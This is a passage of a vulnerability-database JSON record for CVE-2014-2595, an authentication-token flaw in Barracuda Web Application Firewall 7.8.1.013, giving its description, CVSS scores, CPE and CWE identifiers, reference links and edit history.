"CISA:09A92EA8AE0EF4B7759F2EBC3A4F193A", "CISA:0D7BF47142EC63C1BA530E8799FF6599", "CISA:7C29FB69AB70C0C79D91F6369E452482", "CISA:F5C280B27DFEA5DF8B502E95AE835449", "CISA:C0680147E070CCC4182A654B22694B78", "CISA:FCF5F5E07B2E0735B7B5186615CABD75", "CISA:81589164E14D8F65B5C9503C3E427EEB", "CISA:4E2D1FA9D66F4A7FC1561FE97CD82519", "CISA:6A3F61943708B8DDB9B37DA9A1A06C84", "CISA:6044A8FD6C66655B9399733A0C3C9E1E", "CISA:78BE6A41B7E093EB7841A52279D01AE1", "CISA:549F8E3E763A892AAD6E550247F5CEE7", "CISA:66660022272AD81C0BBF1D9FC7B46C39", "CISA:FBA9F0FD6C179AE0977B321FB583CE11", "CISA:CC6E9982C44280D991983541BE027AF1", "CISA:2555F41102F1ABBF816415E9AAAF2EE4", "CISA:6BC1D304A88B0A0DD750EDF8ED7909FE", "CISA:3FD7026EC6673B4969CA5D1F9B34EEEF", "CISA:AC47473C05040A9BBC65A55EB53D3ADA", "CISA:656B9066C4393A83E43A13C3FE933EFC", "CISA:96AE23BE10329B6ADEC64BA80101E2DC", "CISA:4C88086BED86BEF93AA1665D3461B326", "CISA:6F90BF95A38ADA746461AC777185FCDC", "CISA:2CEE4CF2F9180C82F95F7139DF483DD7", "CISA:710C3BCD36DECC727E05C9F2D06245BD", "CISA:1E08E916F951022646727F64479C4200", "CISA:5A6555A50E853215F317FA2E060C9BD7", "CISA:8E71DA65FF4119ADA0E22CC5A76C7037", "CISA:279843906EF66A9B2F45700AA43FE7AD", "CISA:E771F3B0CC997DDB49B8399C3322660E", "CISA:931C4B65156698E92C5A183C30284F30", "CISA:8D4E47E35CF02BB9F5EA4D563571A444", "CISA:172B5F83DD556F59A00F74FA316622CA", "CISA:738E895653431BA6DB0FF2FA99A11DCD", "CISA:5D97D8EA46BA6324B68083B7C77EB6CB", "CISA:458EA5D08A84F1F0CD27FEDFDAD0A908", "CISA:374B105C289CECEBE37852514EEBDF8A", "CISA:5D6767E5B5049DB9765E2FC04B1D3A9F", "CISA:E9166F236CB91AEE0B01B29E10F6A051", "CISA:D85B512873F9DC1AB0A2681538F76AC8", "CISA:85A8844DD6E34970BB12CBBBAE5C50A6", "CISA:AB9A7E5283AC7FAD51E9C800E8885772", "CISA:F035A8786D4A5734F1465341C3DAADC6", "CISA:357F2FA3D140193CF6FAF5F4C586DF68", "CISA:FCB4B9C4CB605F6B805399E8D3B54A48", "CISA:E801920B169B70BE24E69AD221CB53DC", "CISA:451A1CEFFBC109922D355B58C3C14AF3", "CISA:20637CA4B5E0F714770705AC540E0177", "CISA:5C80091CC071D6FD450E21331B462D2C", "CISA:CA32660105CD7A575CEEFBAE2FD5615F", "CISA:52BC178618CB44A2FF8C25B3A4044AF0", "CISA:4F3E7CB7809E06F9D13DE4832CD17615", "CISA:158DE37386D0DA66B5D52686D8F31B2C", "CISA:19C593C92D727EC1EC9F926E32DCD929", "CISA:903CF65EBDDEC93252AE0A3946FD9729", "CISA:0254D82AE89D65141A1F2A6997DDCE79", "CISA:0AEF5AF7D58C62310CE1BCEFD9A0AEDA", "CISA:EC62A74EF05E5EAA8532BCF3B967099B", "CISA:815201F097B695D56926297AA3511556", "CISA:7AAEEC4B486A54DC6272D12B9F616E8C", "CISA:DA5A2A4E0D121B324D90859CBF19CF63", "CISA:84328DEDD3847FB70F77888EAF8A22E7", "CISA:9B58143CB1FD1E45601648306AA85A9C", "CISA:EFF038C5AAEC59B137E616CB97D7DFEB", "CISA:C46FF9F7C221FE95833EEFCFA4081DFA", "CISA:E6C9F3AEB9F1ED44E28A24F33DD58793", "CISA:341426EFF6D9B3558EFAB689E6688CDA", "CISA:4F2AC8A9CDD56B2E7046AD80A6A8FE4C", "CISA:9623C475514F89981C3D4951C38C1F6C", "CISA:5A1842F4F151B146F21F00A1F7DA1239", "CISA:AC3D15AF20048108C8E9C268C3DB28AA", "CISA:4CA744242533EA980240D07CC5A48867", "CISA:471D198D972C207AEFBE8BBB6FC03556", "CISA:3D7D846E9EA87624CD95AD201CAB733D", "CISA:10F5C2047549149C936551E04A6F7EEF", "CISA:386DB6A666B2A163371803C1B1E11729", "CISA:30739F1B87AC3A1F33A982C7DA126C09", "CISA:2E71C938D22B734579836ABF66C6A240", "CISA:FCE6259F67636D72941CC3403522E796"]}], "modified": "2021-09-09T16:02:08", "rev": 2}, "score": {"value": 6.5, "vector": "NONE", "modified": "2021-09-09T16:02:08", "rev": 2}}, "objectVersion": "1.6", "_object_type": "robots.models.ics.ICSBulletin", "_object_types": ["robots.models.base.Bulletin", "robots.models.ics.ICSBulletin"]}], "cve": [{"bulletinFamily": "NVD", "hash": "6a0ace8cdb63863b470e6561269f441d83851201520bc6a55e7930a925c15e3a", "id": "CVE-2014-2595", "lastseen": "2021-04-22T23:44:08", "description": "Barracuda Web Application Firewall (WAF) 7.8.1.013 allows remote attackers to bypass authentication by leveraging a permanent authentication token obtained from a query string.", "objectVersion": "1.5", "published": "2020-02-12T01:15:00", "cvelist": ["CVE-2014-2595"], "viewCount": 73, "modified": "2020-02-20T15:55:00", "references": ["https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2595/", "http://www.osvdb.org/109782", "https://www.securityfocus.com/bid/69028", "https://www.exploit-db.com/exploits/39278", "http://packetstormsecurity.com/files/127740/Barracuda-WAF-Authentication-Bypass.html", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:31004", "http://seclists.org/fulldisclosure/2014/Aug/5"], "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "edition": 8, "reporter": "cve@mitre.org", "title": "CVE-2014-2595", "history": [{"bulletin": {"affectedSoftware": [], "bulletinFamily": "NVD", "cpe": [], "cpe23": [], "cvelist": ["CVE-2014-2595"], "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "cwe": [], "description": "Barracuda Web Application Firewall (WAF) 7.8.1.013 allows remote attackers to bypass authentication by leveraging a permanent authentication token obtained from a query string.", "edition": 3, "enchantments": {"dependencies": {"modified": "2020-02-13T14:29:47", "references": [{"idList": ["PACKETSTORM:127740"], "type": "packetstorm"}, {"idList": ["SECURITYVULNS:DOC:31004", "SECURITYVULNS:VULN:13887"], "type": "securityvulns"}, {"idList": ["EDB-ID:39278"], "type": "exploitdb"}]}, "score": {"modified": "2020-02-13T14:29:47", "value": 6.9, "vector": "NONE"}}, "hash": "0d148bb322c927927cf5c8adaba4daf0d811bf2bee4917f93ca62ca2f942333e", "hashmap": [{"hash": "584cd9e6927eaaa814c6545414f09911", "key": "description"}, {"hash": "cf46dbeffc0c7dc51130bcd388b4459a", "key": "references"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cwe"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedSoftware"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss3"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss2"}, {"hash": "afd8c4a8002c25596504fc1efc107886", "key": "cvelist"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "23075837e6c728c8f0077b2ae5d5ee7f", "key": "modified"}, {"hash": "6c607768196e3786ab17cb3a6e516cad", "key": "published"}, {"hash": "756bd44ad36e62b951b7a08611cbd3f5", "key": "href"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe"}, {"hash": "bc7f8fc71017e1124d57947313af5643", "key": "title"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-2595", "id": "CVE-2014-2595", "lastseen": "2020-02-13T14:29:47", "modified": "2020-02-12T13:07:00", "objectVersion": "1.3", "published": "2020-02-12T01:15:00", "references": ["https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2595/", "http://www.osvdb.org/109782", "https://www.securityfocus.com/bid/69028", "https://www.exploit-db.com/exploits/39278", "http://packetstormsecurity.com/files/127740/Barracuda-WAF-Authentication-Bypass.html", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:31004", "http://seclists.org/fulldisclosure/2014/Aug/5"], "reporter": "cve@mitre.org", "title": "CVE-2014-2595", "type": "cve", "viewCount": 28}, "differentElements": ["cpe23", "cvss", "cvss2", "modified", "cpe", "cwe", "affectedSoftware"], "edition": 3, "lastseen": "2020-02-13T14:29:47"}, {"bulletin": {"affectedSoftware": [], "bulletinFamily": "NVD", "cpe": [], "cpe23": [], "cvelist": ["CVE-2014-2595"], "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "cwe": [], "description": "Barracuda Web Application Firewall (WAF) 7.8.1.013 allows remote attackers to bypass authentication by leveraging a permanent authentication token obtained from a query string.", "edition": 2, "enchantments": {"dependencies": {"modified": "2020-02-12T14:27:29", "references": [{"idList": ["PACKETSTORM:127740"], "type": "packetstorm"}, {"idList": ["SECURITYVULNS:DOC:31004", "SECURITYVULNS:VULN:13887"], "type": "securityvulns"}, {"idList": ["EDB-ID:39278"], "type": "exploitdb"}]}, "score": {"modified": "2020-02-12T14:27:29", "value": 6.9, "vector": "NONE"}}, "hash": "6ccf8f84237981876cda9914b348e4e11c8972875cdf630f59422732f1ea69ba", "hashmap": [{"hash": "584cd9e6927eaaa814c6545414f09911", "key": "description"}, {"hash": "cf46dbeffc0c7dc51130bcd388b4459a", "key": "references"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cwe"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedSoftware"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss3"}, {"hash": "6c607768196e3786ab17cb3a6e516cad", "key": "modified"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss2"}, {"hash": "afd8c4a8002c25596504fc1efc107886", "key": "cvelist"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "6c607768196e3786ab17cb3a6e516cad", "key": "published"}, {"hash": "756bd44ad36e62b951b7a08611cbd3f5", "key": "href"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe"}, {"hash": "bc7f8fc71017e1124d57947313af5643", "key": "title"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-2595", "id": "CVE-2014-2595", "lastseen": "2020-02-12T14:27:29", "modified": "2020-02-12T01:15:00", "objectVersion": "1.3", "published": "2020-02-12T01:15:00", "references": ["https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2595/", "http://www.osvdb.org/109782", "https://www.securityfocus.com/bid/69028", "https://www.exploit-db.com/exploits/39278", "http://packetstormsecurity.com/files/127740/Barracuda-WAF-Authentication-Bypass.html", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:31004", "http://seclists.org/fulldisclosure/2014/Aug/5"], "reporter": "cve@mitre.org", "title": "CVE-2014-2595", "type": "cve", "viewCount": 28}, "differentElements": ["modified"], "edition": 2, "lastseen": "2020-02-12T14:27:29"}, {"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "barracuda:web_application_firewall", "name": "barracuda web application firewall", "operator": "eq", "version": "7.8.1.013"}], "bulletinFamily": "NVD", "cpe": ["cpe:/a:barracuda:web_application_firewall:7.8.1.013"], "cpe23": ["cpe:2.3:a:barracuda:web_application_firewall:7.8.1.013:*:*:*:*:*:*:*"], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:a:barracuda:web_application_firewall:7.8.1.013:*:*:*:*:*:*:*", "vulnerable": true}], "operator": "OR"}]}, "cvelist": ["CVE-2014-2595"], "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "cwe": ["CWE-613"], "description": "Barracuda Web Application Firewall (WAF) 7.8.1.013 allows remote attackers to bypass authentication by leveraging a permanent authentication token obtained from a query string.", "edition": 6, "enchantments": {"dependencies": {"modified": "2020-10-03T12:01:15", "references": [{"idList": ["PACKETSTORM:127740"], "type": "packetstorm"}, {"idList": ["SECURITYVULNS:DOC:31004", "SECURITYVULNS:VULN:13887"], "type": "securityvulns"}, {"idList": ["EDB-ID:39278"], "type": "exploitdb"}], "rev": 2}, "score": {"modified": "2020-10-03T12:01:15", "rev": 2, "value": 6.9, "vector": "NONE"}}, "extraReferences": [], "hash": "65fabd8c3b92ccbba797b3dfba517234b9e0e8bc2464531f2cd64047dd457870", "hashmap": [{"hash": "584cd9e6927eaaa814c6545414f09911", "key": "description"}, {"hash": "cf46dbeffc0c7dc51130bcd388b4459a", "key": "references"}, {"hash": "92ee34fefd5301ff6ccb77b813c8d4f8", "key": "modified"}, {"hash": "86870277fcb3e3e121fe9e4f1f7c2b51", "key": "cwe"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "405ecfc0fb244283a2773863614145bf", "key": "cpe23"}, {"hash": "e63509ce8b627fb239a5a63969122026", "key": "cvss2"}, {"hash": "832b9c21b4589969549f63eb0724398c", "key": "cpe"}, {"hash": "0e66a595df2112e69adac8e55cbdb92d", "key": "cpeConfiguration"}, {"hash": "a97b191a26cb922c0b82d26c5f04f4db", "key": "affectedSoftware"}, {"hash": "ad35358d166de03a84a3a9280d95337a", "key": "cvss3"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "afd8c4a8002c25596504fc1efc107886", "key": "cvelist"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "extraReferences"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "6c607768196e3786ab17cb3a6e516cad", "key": "published"}, {"hash": "0b053db5674b87efff89989a8a720df3", "key": "cvss"}, {"hash": "756bd44ad36e62b951b7a08611cbd3f5", "key": "href"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "bc7f8fc71017e1124d57947313af5643", "key": "title"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-2595", "id": "CVE-2014-2595", "lastseen": "2020-10-03T12:01:15", "modified": "2020-02-20T15:55:00", "objectVersion": "1.3", "published": "2020-02-12T01:15:00", "references": ["https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2595/", "http://www.osvdb.org/109782", "https://www.securityfocus.com/bid/69028", "https://www.exploit-db.com/exploits/39278", "http://packetstormsecurity.com/files/127740/Barracuda-WAF-Authentication-Bypass.html", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:31004", "http://seclists.org/fulldisclosure/2014/Aug/5"], "reporter": "cve@mitre.org", "title": "CVE-2014-2595", "type": "cve", "viewCount": 56}, "differentElements": ["extraReferences"], "edition": 6, "lastseen": "2020-10-03T12:01:15"}, {"bulletin": {"affectedSoftware": [{"name": "barracuda web_application_firewall", "operator": "eq", "version": "7.8.1.013"}], "bulletinFamily": "NVD", "cpe": ["cpe:/a:barracuda:web_application_firewall:7.8.1.013"], "cpe23": ["cpe:2.3:a:barracuda:web_application_firewall:7.8.1.013:*:*:*:*:*:*:*"], "cvelist": ["CVE-2014-2595"], "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {}, "cwe": ["CWE-613"], "description": "Barracuda Web Application Firewall (WAF) 7.8.1.013 allows remote attackers to bypass authentication by leveraging a permanent authentication token obtained from a query string.", "edition": 4, "enchantments": {"dependencies": {"modified": "2020-02-21T13:06:26", "references": [{"idList": ["PACKETSTORM:127740"], "type": "packetstorm"}, {"idList": ["SECURITYVULNS:DOC:31004", "SECURITYVULNS:VULN:13887"], "type": "securityvulns"}, {"idList": ["EDB-ID:39278"], "type": "exploitdb"}], "rev": 2}, "score": {"modified": "2020-02-21T13:06:26", "rev": 2, "value": 6.9, "vector": "NONE"}}, "hash": "4423bdd8d6936961112ee89e752cf7c866f443470052f4a4ac3529b4be6ae18f", "hashmap": [{"hash": "584cd9e6927eaaa814c6545414f09911", "key": "description"}, {"hash": "cf46dbeffc0c7dc51130bcd388b4459a", "key": "references"}, {"hash": "92ee34fefd5301ff6ccb77b813c8d4f8", "key": "modified"}, {"hash": "86870277fcb3e3e121fe9e4f1f7c2b51", "key": "cwe"}, {"hash": "405ecfc0fb244283a2773863614145bf", "key": "cpe23"}, {"hash": "e63509ce8b627fb239a5a63969122026", "key": "cvss2"}, {"hash": "832b9c21b4589969549f63eb0724398c", "key": "cpe"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss3"}, {"hash": "afd8c4a8002c25596504fc1efc107886", "key": "cvelist"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "6c607768196e3786ab17cb3a6e516cad", "key": "published"}, {"hash": "0b053db5674b87efff89989a8a720df3", "key": "cvss"}, {"hash": "756bd44ad36e62b951b7a08611cbd3f5", "key": "href"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "bc7f8fc71017e1124d57947313af5643", "key": "title"}, {"hash": "ee2d931efb4c4fa7a1a321df76c0b838", "key": "affectedSoftware"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-2595", "id": "CVE-2014-2595", "lastseen": "2020-02-21T13:06:26", "modified": "2020-02-20T15:55:00", "objectVersion": "1.3", "published": "2020-02-12T01:15:00", "references": ["https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2595/", "http://www.osvdb.org/109782", "https://www.securityfocus.com/bid/69028", "https://www.exploit-db.com/exploits/39278", "http://packetstormsecurity.com/files/127740/Barracuda-WAF-Authentication-Bypass.html", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:31004", "http://seclists.org/fulldisclosure/2014/Aug/5"], "reporter": "cve@mitre.org", "title": "CVE-2014-2595", "type": "cve", "viewCount": 47}, "differentElements": ["cvss3", "affectedSoftware"], "edition": 4, "lastseen": "2020-02-21T13:06:26"}, {"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "barracuda:web_application_firewall", "name": "barracuda web application firewall", "operator": "eq", "version": "7.8.1.013"}], "bulletinFamily": "NVD", "cpe": ["cpe:/a:barracuda:web_application_firewall:7.8.1.013"], "cpe23": ["cpe:2.3:a:barracuda:web_application_firewall:7.8.1.013:*:*:*:*:*:*:*"], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:a:barracuda:web_application_firewall:7.8.1.013:*:*:*:*:*:*:*", "vulnerable": true}], "operator": "OR"}]}, "cvelist": ["CVE-2014-2595"], "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "cwe": ["CWE-613"], "description": "Barracuda Web Application Firewall (WAF) 7.8.1.013 allows remote attackers to bypass authentication by leveraging a permanent authentication token obtained from a query string.", "edition": 7, "enchantments": {"dependencies": {"modified": "2021-02-02T06:14:28", "references": [{"idList": ["PACKETSTORM:127740"], "type": "packetstorm"}, {"idList": ["SECURITYVULNS:DOC:31004", "SECURITYVULNS:VULN:13887"], "type": "securityvulns"}, {"idList": ["EDB-ID:39278"], "type": "exploitdb"}], "rev": 2}, "score": {"modified": "2021-02-02T06:14:28", "rev": 2, "value": 6.9, "vector": "NONE"}}, "extraReferences": [{"name": "http://packetstormsecurity.com/files/127740/Barracuda-WAF-Authentication-Bypass.html", "refsource": "MISC", "tags": ["Third Party Advisory", "Exploit", "VDB Entry"], "url": "http://packetstormsecurity.com/files/127740/Barracuda-WAF-Authentication-Bypass.html"}, {"name": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:31004", "refsource": "MISC", "tags": ["Third Party Advisory", "Exploit"], "url": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:31004"}, {"name": "http://www.osvdb.org/109782", "refsource": "MISC", "tags": ["Broken Link"], "url": "http://www.osvdb.org/109782"}, {"name": "https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2595/", "refsource": "MISC", "tags": ["Broken Link"], "url": "https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2595/"}, {"name": "https://www.exploit-db.com/exploits/39278", "refsource": "MISC", "tags": ["Third Party Advisory", "Exploit", "VDB Entry"], "url": "https://www.exploit-db.com/exploits/39278"}, {"name": "https://www.securityfocus.com/bid/69028", "refsource": "MISC", "tags": ["Third Party Advisory", "Exploit", "VDB Entry"], "url": "https://www.securityfocus.com/bid/69028"}, {"name": "http://seclists.org/fulldisclosure/2014/Aug/5", "refsource": "MISC", "tags": ["Third Party Advisory", "Mailing List", "Exploit"], "url": "http://seclists.org/fulldisclosure/2014/Aug/5"}], "hash": "d6e72c33ebf3accfe25046812d0b1e7698f2d37c9159defa7c7bda26e2ab359b", "hashmap": [{"hash": "584cd9e6927eaaa814c6545414f09911", "key": "description"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "immutableFields"}, {"hash": "cf46dbeffc0c7dc51130bcd388b4459a", "key": "references"}, {"hash": "92ee34fefd5301ff6ccb77b813c8d4f8", "key": "modified"}, {"hash": "86870277fcb3e3e121fe9e4f1f7c2b51", "key": "cwe"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "405ecfc0fb244283a2773863614145bf", "key": "cpe23"}, {"hash": "e63509ce8b627fb239a5a63969122026", "key": "cvss2"}, {"hash": "832b9c21b4589969549f63eb0724398c", "key": "cpe"}, {"hash": "0e66a595df2112e69adac8e55cbdb92d", "key": "cpeConfiguration"}, {"hash": "a97b191a26cb922c0b82d26c5f04f4db", "key": "affectedSoftware"}, {"hash": "ad35358d166de03a84a3a9280d95337a", "key": "cvss3"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "073d5951cb97bd54baf9ef00e5950ef4", "key": "extraReferences"}, {"hash": "afd8c4a8002c25596504fc1efc107886", "key": "cvelist"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "6c607768196e3786ab17cb3a6e516cad", "key": "published"}, {"hash": "0b053db5674b87efff89989a8a720df3", "key": "cvss"}, {"hash": "756bd44ad36e62b951b7a08611cbd3f5", "key": "href"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "bc7f8fc71017e1124d57947313af5643", "key": "title"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-2595", "id": "CVE-2014-2595", "immutableFields": [], "lastseen": "2021-02-02T06:14:28", "modified": "2020-02-20T15:55:00", "objectVersion": "1.5", "published": "2020-02-12T01:15:00", "references": ["https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2595/", "http://www.osvdb.org/109782", "https://www.securityfocus.com/bid/69028", "https://www.exploit-db.com/exploits/39278", "http://packetstormsecurity.com/files/127740/Barracuda-WAF-Authentication-Bypass.html", "https://vulners.com/securityvulns/SECURITYVULNS:DOC:31004", "http://seclists.org/fulldisclosure/2014/Aug/5"], "reporter": "cve@mitre.org", "title": "CVE-2014-2595", "type": "cve", "viewCount": 60}, "different_elements": ["cpeConfiguration"], "edition": 7, "lastseen": "2021-02-02T06:14:28"}], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-2595", "enchantments": {"dependencies": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:13887", "SECURITYVULNS:DOC:31004"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:127740"]}, {"type": "exploitdb", "idList": ["EDB-ID:39278"]}], "modified": "2021-04-22T23:44:08", "rev": 2}, "score": {"value": 6.9, "vector": "NONE", "modified": "2021-04-22T23:44:08", "rev": 2}}, "type": "cve", "hashmap": [{"key": "affectedConfiguration", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "affectedSoftware", "hash": "a97b191a26cb922c0b82d26c5f04f4db"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "832b9c21b4589969549f63eb0724398c"}, {"key": "cpe23", "hash": "405ecfc0fb244283a2773863614145bf"}, {"key": "cpeConfiguration", "hash": "238f536d7ccbcb60d24ab76ed2548b8b"}, {"key": "cvelist", "hash": "afd8c4a8002c25596504fc1efc107886"}, {"key": "cvss", "hash": "0b053db5674b87efff89989a8a720df3"}, {"key": "cvss2", "hash": "e63509ce8b627fb239a5a63969122026"}, {"key": "cvss3", "hash": "ad35358d166de03a84a3a9280d95337a"}, {"key": "cwe", "hash": "86870277fcb3e3e121fe9e4f1f7c2b51"}, {"key": "description", "hash": "584cd9e6927eaaa814c6545414f09911"}, {"key": "extraReferences", "hash": "073d5951cb97bd54baf9ef00e5950ef4"}, {"key": "href", "hash": "756bd44ad36e62b951b7a08611cbd3f5"}, {"key": "immutableFields", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "modified", "hash": "92ee34fefd5301ff6ccb77b813c8d4f8"}, {"key": "published", "hash": "6c607768196e3786ab17cb3a6e516cad"}, {"key": "references", "hash": "cf46dbeffc0c7dc51130bcd388b4459a"}, {"key": "reporter", "hash": "444c2b4dda4a55437faa8bef1a141e84"}, {"key": "title", "hash": "bc7f8fc71017e1124d57947313af5643"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "scheme": null, "affectedSoftware": [{"cpeName": "barracuda:web_application_firewall", "name": "barracuda web application firewall", "operator": "eq", "version": "7.8.1.013"}], "cpe": ["cpe:/a:barracuda:web_application_firewall:7.8.1.013"], "cpe23": ["cpe:2.3:a:barracuda:web_application_firewall:7.8.1.013:*:*:*:*:*:*:*"], "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cwe": ["CWE-613"], "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": 